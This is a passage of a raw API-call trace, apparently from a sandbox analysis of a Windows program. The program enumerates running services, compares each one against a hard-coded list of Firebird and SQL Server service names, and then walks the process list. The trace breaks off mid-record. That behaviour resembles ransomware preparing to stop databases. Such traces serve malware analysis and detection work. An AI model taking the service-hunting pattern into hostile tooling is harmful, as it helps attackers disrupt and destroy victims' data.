[0210.659] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889818 [0210.660] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0210.660] GetLastError () returned 0xea [0210.660] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0210.660] EnumServicesStatusExW (in: hSCManager=0x889818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0210.661] CloseServiceHandle (hSCObject=0x889818) returned 1 [0210.661] lstrlenW (lpString="Appinfo") returned 7 [0210.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0210.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0210.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0210.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0210.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0210.661] lstrlenW (lpString="AppXSvc") returned 7 [0210.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0210.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0210.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0210.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0210.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0210.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0210.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0210.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0210.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0210.662] lstrlenW (lpString="Audiosrv") returned 8 [0210.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0210.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0210.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0210.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0210.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0210.662] lstrlenW (lpString="BFE") returned 3 [0210.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0210.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0210.662] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0210.662] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0210.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0210.662] lstrlenW (lpString="BITS") returned 4 [0210.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0210.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0210.662] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0210.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0210.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0210.663] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0210.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0210.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0210.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0210.663] lstrlenW (lpString="CDPSvc") returned 6 [0210.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0210.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0210.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0210.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0210.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0210.663] lstrlenW (lpString="ClickToRunSvc") returned 13 [0210.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0210.663] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0210.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0210.663] lstrlenW (lpString="ClipSVC") returned 7 [0210.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0210.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0210.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0210.663] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0210.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0210.663] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0210.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0210.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0210.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0210.664] lstrlenW (lpString="CryptSvc") returned 8 [0210.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0210.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0210.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0210.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0210.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0210.664] lstrlenW (lpString="DcomLaunch") returned 10 [0210.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0210.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0210.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0210.664] lstrlenW (lpString="Dhcp") returned 4 [0210.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0210.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0210.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0210.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0210.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0210.664] lstrlenW (lpString="Dnscache") returned 8 [0210.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0210.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0210.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0210.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0210.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0210.664] lstrlenW (lpString="DoSvc") returned 5 [0210.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0210.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0210.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0210.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0210.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0210.665] lstrlenW (lpString="DPS") returned 3 [0210.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0210.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0210.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0210.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0210.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0210.665] lstrlenW (lpString="DusmSvc") returned 7 [0210.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0210.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0210.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0210.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0210.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0210.665] lstrlenW (lpString="EventLog") returned 8 [0210.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0210.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0210.665] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0210.665] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0210.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0210.665] lstrlenW (lpString="EventSystem") returned 11 [0210.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0210.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0210.665] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0210.665] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0210.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0210.665] lstrlenW (lpString="FontCache") returned 9 [0210.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0210.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0210.665] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0210.666] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0210.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0210.666] lstrlenW (lpString="gpsvc") returned 5 [0210.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0210.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0210.666] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0210.666] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0210.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0210.666] lstrlenW (lpString="iphlpsvc") returned 8 [0210.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.666] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0210.666] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0210.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0210.666] lstrlenW (lpString="KeyIso") returned 6 [0210.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0210.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0210.666] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0210.666] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0210.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0210.666] lstrlenW (lpString="LanmanServer") returned 12 [0210.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0210.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0210.666] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0210.666] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0210.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0210.666] lstrlenW (lpString="LanmanWorkstation") returned 17 [0210.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.666] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0210.666] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0210.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0210.667] lstrlenW (lpString="lfsvc") returned 5 [0210.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0210.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0210.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0210.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0210.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0210.667] lstrlenW (lpString="LicenseManager") returned 14 [0210.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0210.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0210.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0210.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0210.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0210.667] lstrlenW (lpString="lmhosts") returned 7 [0210.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0210.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0210.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0210.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0210.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0210.667] lstrlenW (lpString="LSM") returned 3 [0210.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0210.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0210.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0210.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0210.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0210.667] lstrlenW (lpString="MpsSvc") returned 6 [0210.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0210.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0210.667] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0210.667] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0210.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0210.667] lstrlenW (lpString="NcbService") returned 10 [0210.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0210.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0210.667] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0210.667] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0210.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0210.667] lstrlenW (lpString="netprofm") returned 8 [0210.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0210.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0210.668] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0210.668] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0210.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0210.668] lstrlenW (lpString="NlaSvc") returned 6 [0210.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0210.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0210.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0210.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0210.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0210.668] lstrlenW (lpString="nsi") returned 3 [0210.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0210.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0210.668] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0210.668] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0210.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0210.668] lstrlenW (lpString="PcaSvc") returned 6 [0210.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0210.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0210.668] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0210.668] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0210.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0210.668] lstrlenW (lpString="PlugPlay") returned 8 [0210.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0210.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0210.668] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0210.668] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0210.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0210.668] lstrlenW (lpString="Power") returned 5 [0210.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0210.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0210.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0210.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0210.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0210.668] lstrlenW (lpString="ProfSvc") returned 7 [0210.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0210.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0210.669] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0210.669] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0210.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0210.669] lstrlenW (lpString="RpcEptMapper") returned 12 [0210.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.669] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0210.669] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0210.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0210.669] lstrlenW (lpString="RpcSs") returned 5 [0210.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0210.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0210.669] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0210.669] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0210.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0210.669] lstrlenW (lpString="SamSs") returned 5 [0210.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0210.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0210.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0210.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0210.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0210.669] lstrlenW (lpString="Schedule") returned 8 [0210.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0210.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0210.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0210.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0210.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0210.669] lstrlenW (lpString="SecurityHealthService") returned 21 [0210.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0210.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0210.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0210.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0210.669] lstrlenW (lpString="SENS") returned 4 [0210.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0210.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0210.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0210.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0210.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0210.670] lstrlenW (lpString="ShellHWDetection") returned 16 [0210.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.670] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0210.670] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0210.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0210.670] lstrlenW (lpString="Spooler") returned 7 [0210.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0210.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0210.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0210.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0210.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0210.670] lstrlenW (lpString="SSDPSRV") returned 7 [0210.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0210.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0210.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0210.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0210.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0210.670] lstrlenW (lpString="StateRepository") returned 15 [0210.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0210.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0210.670] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0210.670] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0210.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0210.670] lstrlenW (lpString="SysMain") returned 7 [0210.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0210.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0210.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0210.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0210.670] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0210.670] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0210.763] Process32FirstW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.763] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.764] lstrlenW (lpString="System") returned 6 [0210.764] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.765] lstrlenW (lpString="smss.exe") returned 8 [0210.765] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.765] lstrlenW (lpString="csrss.exe") returned 9 [0210.766] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, 